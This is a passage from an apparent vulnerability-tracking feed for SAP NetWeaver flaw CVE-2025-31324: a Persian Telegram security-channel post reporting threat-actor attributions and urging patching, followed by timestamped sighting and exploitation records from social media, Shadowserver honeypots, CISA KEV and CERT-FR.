\u0622\u0632\u0645\u0627\u06cc\u0634\u06af\u0627\u0647\u200c\u0647\u0627\u06cc Vedere \u0627\u0632 Forescout \u0628\u0631\u062e\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u062d\u0645\u0644\u0627\u062a \u0631\u0627 \u0628\u0647 \u0639\u0627\u0645\u0644 \u062a\u0647\u062f\u06cc\u062f \u0686\u06cc\u0646\u06cc Chaya_004 \u0645\u0631\u062a\u0628\u0637 \u062f\u0627\u0646\u0633\u062a\u0646\u062f \u06a9\u0647 SuperShell \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 Go \u0631\u0627 \u0645\u0633\u062a\u0642\u0631 \u06a9\u0631\u062f\u0647 \u0628\u0648\u062f .\n\n\u0634\u0631\u06a9\u062a EclecticIQ \u0627\u06cc\u0646 \u0646\u0641\u0648\u0630\u0647\u0627 \u0631\u0627 \u0628\u0647 \u062e\u0648\u0634\u0647\u200c\u0647\u0627\u06cc \u062a\u0647\u062f\u06cc\u062f \u0686\u06cc\u0646\u06cc \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u0647\u0627\u06cc UNC5221\u060c UNC5174 \u0648 CL-STA-0048 \u0645\u0631\u062a\u0628\u0637 \u0645\u06cc\u200c\u062f\u0627\u0646\u062f.\n\n\u0627\u0648\u0646\u06cc\u0641\u0647 \u0647\u0645\u0686\u0646\u06cc\u0646 \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u0647 \u062a\u0627 \u0627\u0648\u0627\u062e\u0631 \u0622\u0648\u0631\u06cc\u0644\u060c \u062a\u0642\u0631\u06cc\u0628\u0627\u064b 20 \u0634\u0631\u06a9\u062a \u0627\u0632 \u0641\u0647\u0631\u0633\u062a \u0641\u0648\u0631\u0686\u0648\u0646 500/\u06af\u0644\u0648\u0628\u0627\u0644 500 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u0628\u0648\u062f\u0647\u200c\u0627\u0646\u062f \u0648 \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u0622\u0646\u0647\u0627 \u062d\u062a\u06cc \u062f\u0631 \u0645\u0639\u0631\u0636 \u062e\u0637\u0631 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\u0647\u200c\u0627\u0646\u062f.\n\n\u062f\u0631 \u0645\u062c\u0645\u0648\u0639\u060c \u062f\u0631 \u0622\u0646 \u0632\u0645\u0627\u0646 \u06f1\u06f2\u06f8\u06f4 \u0645\u0648\u0631\u062f \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0634\u0628\u06a9\u0647 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0634\u062f\u0647 \u0628\u0648\u062f \u06a9\u0647 \u06f4\u06f7\u06f4 \u0645\u0648\u0631\u062f \u0627\u0632 \u0622\u0646\u0647\u0627 \u0642\u0628\u0644\u0627\u064b \u0645\u0648\u0631\u062f \u0646\u0641\u0648\u0630 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\u0647 \u0628\u0648\u062f\u0646\u062f.\n\n\u0628\u0646\u06cc\u0627\u062f Shadowserver \u062f\u0631 \u062d\u0627\u0644 \u062d\u0627\u0636\u0631 \u0628\u06cc\u0634 \u0627\u0632 \u06f2\u06f0\u06f4\u06f0 \u0633\u0631\u0648\u0631 SAP Netweaver \u06a9\u0647 \u062f\u0631 \u0627\u06cc\u0646\u062a\u0631\u0646\u062a \u0645\u06cc\u0632\u0628\u0627\u0646\u06cc \u0645\u06cc\u200c\u0634\u0648\u0646\u062f \u0648 \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u062d\u0645\u0644\u0647 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u0647\u0633\u062a\u0646\u062f \u0631\u0627 \u0631\u0635\u062f \u0645\u06cc\u200c\u06a9\u0646\u062f .\n\n\u0627\u06af\u0631\u0686\u0647 SAP \u0647\u0646\u0648\u0632 \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-2025-42999 \u0631\u0627 \u062f\u0631 \u0633\u0637\u062d \u0627\u06cc\u0646\u062a\u0631\u0646\u062a \u062a\u0623\u06cc\u06cc\u062f \u0646\u06a9\u0631\u062f\u0647 \u0627\u0633\u062a\u060c \u0627\u0645\u0627 \u0645\u062d\u0642\u0642\u0627\u0646 Onapsis \u0627\u0632 \u0645\u0627\u0647 \u0698\u0627\u0646\u0648\u06cc\u0647 \u0634\u0627\u0647\u062f \u062a\u0631\u06a9\u06cc\u0628 \u0647\u0631 \u062f\u0648 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc (CVE-2025-31324 \u0648 CVE-2025-42999) \u062a\u0648\u0633\u0637 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0628\u0648\u062f\u0647\u200c\u0627\u0646\u062f.\n\n\u0627\u06cc\u0646 \u062a\u0631\u06a9\u06cc\u0628 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0627\u062f \u062a\u0627 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u062f\u0644\u062e\u0648\u0627\u0647 \u0631\u0627 \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0648 \u0628\u062f\u0648\u0646 \u0647\u06cc\u0686 \u06af\u0648\u0646\u0647 \u0627\u0645\u062a\u06cc\u0627\u0632\u06cc \u0631\u0648\u06cc \u0633\u06cc\u0633\u062a\u0645 \u0627\u062c\u0631\u0627 \u06a9\u0646\u0646\u062f.\n\n\u0628\u0647 \u0645\u062f\u06cc\u0631\u0627\u0646 SAP \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0641\u0648\u0631\u0627\u064b \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u06cc NetWeaver \u062e\u0648\u062f \u0631\u0627 \u0628\u0647\u0622\u062e\u0631\u06cc\u0646 \u0646\u0633\u062e\u0647 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u06a9\u0646\u0646\u062f \u0648 \u063a\u06cc\u0631\u0641\u0639\u0627\u0644 \u06a9\u0631\u062f\u0646 \u0633\u0631\u0648\u06cc\u0633 Visual Composer \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0633\u0631\u0648\u06cc\u0633\u200c\u0647\u0627\u06cc \u062f\u0627\u0646\u0644\u0648\u062f \u0641\u0631\u0627\u062f\u0627\u062f\u0647 \u0648 \u0646\u0638\u0627\u0631\u062a \u0628\u0631 \u0641\u0639\u0627\u0644\u06cc\u062a\u200c\u0647\u0627\u06cc \u0645\u0634\u06a9\u0648\u06a9 \u0631\u0627 \u062f\u0631 \u0646\u0638\u0631 \u0628\u06af\u06cc\u0631\u0646\u062f.\nhttps://support.sap.com/en/my-support/knowledge-base/security-notes-news/may-2025.html\n\ud83c\udfed \u0648\u0628\u0633\u0627\u06cc\u062a \u0648 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n\ud83d\udc6e\ud83c\udffd\u200d\u2640\ufe0f\u0647\u0631\u06af\u0648\u0646\u0647 \u0627\u0646\u062a\u0634\u0627\u0631 \u0648 \u0630\u06a9\u0631 \u0645\u0637\u0627\u0644\u0628 \u0628\u062f\u0648\u0646 \u0630\u06a9\u0631 \u062f\u0642\u06cc\u0642 \u0645\u0646\u0628\u0639 \u0648 \u0622\u062f\u0631\u0633 \u0644\u06cc\u0646\u06a9 \u0622\u0646 \u0645\u0645\u0646\u0648\u0639 \u0627\u0633\u062a. \n\u0627\u062f\u0645\u06cc\u0646:\n\u200fhttps://t.me/pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert\n\u06af\u0631\u0648\u0647 \u0648\u0627\u062a\u0633 \u0622\u067e :\nhttps://chat.whatsapp.com/FpB620AWEeSKvd8U6cFh33\n\u06af\u0631\u0648\u0647 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ICSCERT_IR", "url": "https://t.me/ics_cert/1155"}, {"timestamp": "2025-05-15T22:48:45.708Z", "date_only": false, "value": "2025-05-15T22:48:45.708579Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/opsmatters.com/post/3lpalvwzzcy2c", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "037f3f98-5d02-4f55-ba30-eb0f20c37ab7", "url": "https://bsky.app/profile/opsmatters.com/post/3lpalvwzzcy2c"}, {"timestamp": "2025-05-16T00:00:00Z", "date_only": false, "value": "2025-05-16T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-16)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f84a6a5a-7804-46cb-92f5-e38723ed63bb"}, {"timestamp": "2025-05-16T02:18:34.093Z", "date_only": false, "value": "2025-05-16T02:18:34.093453Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lpaxn43u5b2f", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8c67086d-a269-43b1-8550-d3c6abfb4780", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lpaxn43u5b2f"}, {"timestamp": "2025-05-16T06:22:15.751Z", "date_only": false, "value": "2025-05-16T06:22:15.751366Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/lemagit.bsky.social/post/3lpbfauece52a", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4b54e6ce-edb1-4335-9753-1560baf99b7c", "url": "https://bsky.app/profile/lemagit.bsky.social/post/3lpbfauece52a"}, {"timestamp": "2025-05-16T09:24:15.451Z", "date_only": false, "value": "2025-05-16T09:24:15.451239Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/jimmyblake.bsky.social/post/3lpbpgbqhru2i", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f3fcf162-6750-44fd-8683-2dc737c31a4c", "url": "https://bsky.app/profile/jimmyblake.bsky.social/post/3lpbpgbqhru2i"}, {"timestamp": "2025-05-16T09:55:53.238Z", "date_only": false, "value": "2025-05-16T09:55:53.238425Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/buzzleaktv.bsky.social/post/3lpbr6temdg2m", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "88bb092f-3e92-40a9-adae-8e3b93c7efd2", "url": "https://bsky.app/profile/buzzleaktv.bsky.social/post/3lpbr6temdg2m"}, {"timestamp": "2025-05-16T12:01:01.213Z", "date_only": false, "value": "2025-05-16T12:01:01.213205Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/socprime.com/post/3lpby6lhktj2o", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "88960df7-bddc-44cc-af2a-378fbb72d1bd", "url": "https://bsky.app/profile/socprime.com/post/3lpby6lhktj2o"}, {"timestamp": "2025-05-16T19:12:42.307Z", "date_only": false, "value": "2025-05-16T19:12:42.307076Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/threatcodex/statuses/114519098125831998", "record": "cve-2025-31324", "field": "creation_timestamp", "uuid": "f8ba6d38-bf86-4d95-a9c1-7013faf36792", "url": "https://infosec.exchange/users/threatcodex/statuses/114519098125831998"}, {"timestamp": "2025-05-17T00:00:00Z", "date_only": false, "value": "2025-05-17T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-17)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "39d50e02-c2c3-41d1-abbe-c3eaa436ab3e"}, {"timestamp": "2025-05-17T00:46:46.197Z", "date_only": false, "value": "2025-05-17T00:46:46.197864Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3lpdcv6tepsw2", "record": "cve-2025-31324", "field": "creation_timestamp", "uuid": "d82ef40e-6e67-47a3-a760-696ec014ab42", "url": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3lpdcv6tepsw2"}, {"timestamp": "2025-05-17T02:15:52.484Z", "date_only": false, "value": "2025-05-17T02:15:52.484299Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lpdhx7cdmq2w", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1bfd327f-28de-4d4b-b96f-3ed88c40a02f", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lpdhx7cdmq2w"}, {"timestamp": "2025-05-18T00:00:00Z", "date_only": false, "value": "2025-05-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-18)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "b4dcba37-cee8-4371-bb27-57f1b2999417"}, {"timestamp": "2025-05-18T20:42:53.969Z", "date_only": false, "value": "2025-05-18T20:42:53.969452Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lphwbe3p2s2j", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "49d8042e-5a0f-4478-8407-cce3e9239573", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lphwbe3p2s2j"}, {"timestamp": "2025-05-18T20:54:21.410Z", "date_only": false, "value": "2025-05-18T20:54:21.410084Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lphwvw2jx22z", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "3818f89a-82cf-4ebc-bda8-9b9f25264f34", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lphwvw2jx22z"}, {"timestamp": "2025-05-19T00:00:00Z", "date_only": false, "value": "2025-05-19T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_avis \u00b7 CERTFR-2025-AVI-0350", "record": "CERTFR-2025-AVI-0350", "field": "last_revision_date"}, {"timestamp": "2025-05-19T00:00:00Z", "date_only": false, "value": "2025-05-19T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2025-AVI-0350", "record": "CERTFR-2025-AVI-0350", "field": "revisions.1.revision_date"}, {"timestamp": "2025-05-19T02:21:41.820Z", "date_only": false, "value": "2025-05-19T02:21:41.820452Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lpij7h6ufs2p", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "7f3d2488-9935-45cc-bdcb-f917ccd98217", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lpij7h6ufs2p"}, {"timestamp": "2025-05-19T15:17:29.947Z", "date_only": false, "value": "2025-05-19T15:17:29.947786Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/threatcodex/statuses/114535160192025621", "record": "cve-2025-31324", "field": "creation_timestamp", "uuid": "19ddc4c0-e3b1-44e1-920a-42c5b8078313", "url": "https://infosec.exchange/users/threatcodex/statuses/114535160192025621"}, {"timestamp": "2025-05-19T15:21:31.984Z", "date_only": false, "value": "2025-05-19T15:21:31.984620Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/threatcodex/statuses/114535176051593240", "record": "cve-2025-31324", "field": "creation_timestamp", "uuid": "5b0972b3-5d7e-4f13-9256-b4580872517b", "url": "https://infosec.exchange/users/threatcodex/statuses/114535176051593240"}, {"timestamp": "2025-05-19T15:25:46.570Z", "date_only": false, "value": "2025-05-19T15:25:46.570702Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/andranglin.bsky.social/post/3lpjuzezkoc2i", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "0a2d09dd-5676-4074-abf3-c44161d7152b", "url": "https://bsky.app/profile/andranglin.bsky.social/post/3lpjuzezkoc2i"}, {"timestamp": "2025-05-19T16:54:32.638Z", "date_only": false, "value": "2025-05-19T16:54:32.638895Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3lpjzyacyev2w", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ed7da78c-7b64-4ab7-8402-ff6d2bcfdadc", "url": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3lpjzyacyev2w"}, {"timestamp": "2025-05-20T00:00:00Z", "date_only": true, "value": "2025-05-20", "kind": "kev", "label": "Due date", "source": "cisa-kev", "record": "CVE-2025-31324", "field": "evidence.0.details.due_date", "uuid": "a7c9a8bd-dce5-46a9-9d37-b91ee38154f3", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-05-20T00:00:00Z", "date_only": false, "value": "2025-05-20T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-20)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "7ed1b026-3e82-4a07-8cf4-740a0f14feeb"}, {"timestamp": "2025-05-20T19:47:08Z", "date_only": false, "value": "2025-05-20T19:47:08.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/rlnorthcutt/6802f7c3d31f212cc5d209d844ef7fad", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "3c5b1615-dab2-4359-8916-9a0b8bfe95ac", "url": "https://gist.github.com/rlnorthcutt/6802f7c3d31f212cc5d209d844ef7fad"}, {"timestamp": "2025-05-21T00:00:00Z", "date_only": false, "value": "2025-05-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-21)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "85780586-1405-4d8c-98af-dd1f82754a28"}, {"timestamp": "2025-05-22T00:00:00Z", "date_only": false, "value": "2025-05-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-22)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "3aa7494c-ce69-4b5b-8638-7d5b9cf7d2d4"}, {"timestamp": "2025-05-22T03:22:01.983Z", "date_only": false, "value": "2025-05-22T03:22:01.983939Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/opsmatters.com/post/3lpq5y4h3f42b", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f1fdf628-f1d7-4a36-822e-0aeb91f5d340", "url": "https://bsky.app/profile/opsmatters.com/post/3lpq5y4h3f42b"}, {"timestamp": "2025-05-23T00:00:00Z", "date_only": false, "value": "2025-05-23T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-23)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "0ac10906-4fbc-4337-9c7c-a92c1a9def76"}, {"timestamp": "2025-05-23T00:00:00Z", "date_only": false, "value": "2025-05-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-23)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ae082fdc-da01-4020-9b85-7a1996449d56"}, {"timestamp": "2025-05-23T10:26:38.012Z", "date_only": false, "value": "2025-05-23T10:26:38.012499Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cti-news.bsky.social/post/3lptg6aubuh25", "record": "cve-2025-31324", "field": "creation_timestamp", "uuid": "7c6930c4-16e4-4b50-867f-a53503c0397a", "url": "https://bsky.app/profile/cti-news.bsky.social/post/3lptg6aubuh25"}, {"timestamp": "2025-05-24T00:00:00Z", "date_only": false, "value": "2025-05-24T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-24)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "67f13560-a2a8-410e-bd84-39a745dc3008"}, {"timestamp": "2025-05-24T00:00:00Z", "date_only": false, "value": "2025-05-24T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-24)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "2dffa603-f02a-44c1-9b64-af7752381fee"}, {"timestamp": "2025-05-24T02:15:29.401Z", "date_only": false, "value": "2025-05-24T02:15:29.401701Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lpv36tpdq22j", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "26c1ef30-50ae-42f3-b73f-f03b3d7c351d", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lpv36tpdq22j"}, {"timestamp": "2025-05-25T00:00:00Z", "date_only": false, "value": "2025-05-25T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-25)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "5b073b2f-666b-4647-b4e4-ed5c7c3b929b"}, {"timestamp": "2025-05-26T00:00:00Z", "date_only": false, "value": "2025-05-26T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-26)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d9246cbd-9fe5-4d90-9080-f2fa2424ef78"}, {"timestamp": "2025-05-26T00:00:00Z", "date_only": false, "value": "2025-05-26T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-26)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "7ba5cc8f-d8e5-4bc8-8504-dac862f7e467"}, {"timestamp": "2025-05-27T00:00:00Z", "date_only": false, "value": "2025-05-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-27)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "cda221ca-a298-425d-9ee7-b9935246c4a7"}, {"timestamp": "2025-05-28T00:00:00Z", "date_only": false, "value": "2025-05-28T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-28)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "375b7f78-e5f7-4cbe-8e68-7bfe9b6ae68c"}, {"timestamp": "2025-05-29T00:00:00Z", "date_only": false, "value": "2025-05-29T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-29)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f7e0181e-efbe-4cc3-836b-351be887f234"}, {"timestamp": "2025-05-29T04:24:19.410Z", "date_only": false, "value": "2025-05-29T04:24:19.410088Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/opsmatters.com/post/3lqbupwx5gl2c", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "bc23e0d1-cccf-4781-88dc-76b9b6d92013", "url": "https://bsky.app/profile/opsmatters.com/post/3lqbupwx5gl2c"}, {"timestamp": "2025-05-30T00:00:00Z", "date_only": false, "value": "2025-05-30T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-30)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "cab96f20-7711-46f9-b729-735ccdaa86da"}, {"timestamp": "2025-05-30T00:00:00Z", "date_only": false, "value": "2025-05-30T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-30)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d0493657-6344-479b-9121-f9bf8886f5ad"}, {"timestamp": "2025-05-31T00:00:00Z", "date_only": false, "value": "2025-05-31T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-31)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "04391bf1-eeb3-4513-995c-9d19340232e6"}, {"timestamp": "2025-06-01T00:00:00Z", "date_only": false, "value": "2025-06-01T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-01)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "09b655dc-babe-46f1-9994-4c1600c05d8a"}, {"timestamp": "2025-06-02T00:00:00Z", "date_only": false, "value": "2025-06-02T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-02)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "a961dd16-d789-480c-b747-01ff65ab6cb5"}, {"timestamp": "2025-06-02T00:00:00Z", "date_only": false, "value": "2025-06-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-02)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "fa9c719b-125d-40ee-a220-d014be85abf3"}, {"timestamp": "2025-06-03T00:00:00Z", "date_only": false, "value": "2025-06-03T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-03)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "0bf75838-fc41-4c6f-9a5e-44a7345b40f4"}, {"timestamp": "2025-06-03T17:32:19.740Z", "date_only": false, "value": "2025-06-03T17:32:19.740243Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/cR0w/statuses/114620625006947013", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "cfc0e933-056b-4cb0-afda-58dc53bfdf4b", "url": "https://infosec.exchange/users/cR0w/statuses/114620625006947013"}, {"timestamp": "2025-06-04T00:00:00Z", "date_only": false, "value": "2025-06-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-04)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d109f962-673d-442b-9bce-2ff0eeef6ee2"}, {"timestamp": "2025-06-05T00:00:00Z", "date_only": false, "value": "2025-06-05T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-05)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "9ef1aad9-a8a1-4557-ae79-149d2ed46246"}, {"timestamp": "2025-06-05T00:00:00Z", "date_only": false, "value": "2025-06-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-05)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "b527a61c-b7d6-4715-b7e9-1ae2b127d1ce"}, {"timestamp": "2025-06-06T00:00:00Z", "date_only": false, "value": "2025-06-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-06)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "76765bcc-03fe-4e73-94e9-186a8313403f"}, {"timestamp": "2025-06-06T11:03:00.780Z", "date_only": false, "value": "2025-06-06T11:03:00.780647Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3lqwoq4uek22z", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1df1f9c0-f31f-45c8-b050-4970093c8062", "url": "https://bsky.app/profile/crowdsec.bsky.social/post/3lqwoq4uek22z"}, {"timestamp": "2025-06-07T00:00:00Z", "date_only": false, "value": "2025-06-07T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-07)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "af0ee62f-b0aa-4a5c-ae78-f9b8ac338d7a"}, {"timestamp": "2025-06-07T00:00:00Z", "date_only": false, "value": "2025-06-07T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-07)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8890675f-4774-4168-818a-4575eec2a6fe"}, {"timestamp": "2025-06-08T00:00:00Z", "date_only": false, "value": "2025-06-08T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-08)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "158f9497-ca32-4df2-9bed-c853feea1c6a"}, {"timestamp": "2025-06-09T00:00:00Z", "date_only": false, "value": "2025-06-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-09)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "7db0f111-df5b-4b7d-a8a4-635871245594"}, {"timestamp": 